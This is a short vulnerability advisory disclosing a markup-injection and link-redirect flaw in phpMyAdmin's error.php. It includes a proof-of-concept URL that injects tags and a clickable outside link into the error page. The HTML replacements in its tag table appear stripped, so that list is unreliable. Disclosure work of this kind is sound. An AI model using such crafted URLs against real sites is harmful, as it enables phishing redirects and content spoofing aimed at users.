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PhpMyAdmin Client Side 0Day Code Injection and Redirect Link Falsification

Credits:

Emanuele ’emgent’ Gentili

Marco ‘white_sheep’ Rondini

Alessandro ‘scox’ Scoscia

In error.php, PhpMyAdmin permit to insert text and restricted tag, like BBCode.

With tag [a@url@page]Click Me[/a], you can insert your own page, and redirect all users.

Available tags are:

‘[i]’ => ‘‘,

‘[/i]’ => ”,

‘[em]’ => ‘‘,

‘[/em]’ => ”,

‘[b]’ => ‘‘,

‘[/b]’ => ”,

‘[strong]’ => ‘‘,

‘[/strong]’ => ”,

‘[tt]’ => ‘',

‘[/tt]’ => ”,

‘[code]’ => ‘',

‘[/code]’ => ”,

‘[kbd]’ => ‘',

‘[/kbd]’ => ”,

‘[br]’ => ‘
‘,

‘[/a]’ => ”,

‘[sup]’ => ‘^‘,

‘[/sup]’ => ”,

and replace ‘/\[a@([^”@]*)@([^]”]*)\]/’ with ‘‘

POC:

http://127.0.0.1/phpmyadmin/error.php?type=This+is+a+client+side+hole+evidence&error=Client+side+attack+via+characters+injection[br]It%27s+possible+use+some+special+tags+too[br]Found+by+Tiger+Security+Tiger+Team+-+[a%40http://www.tigersecurity.it%40_self]This%20Is%20a%20Link[%2Fa]

OWASP Reference:

http://www.owasp.org/index.php/Unvalidated_Input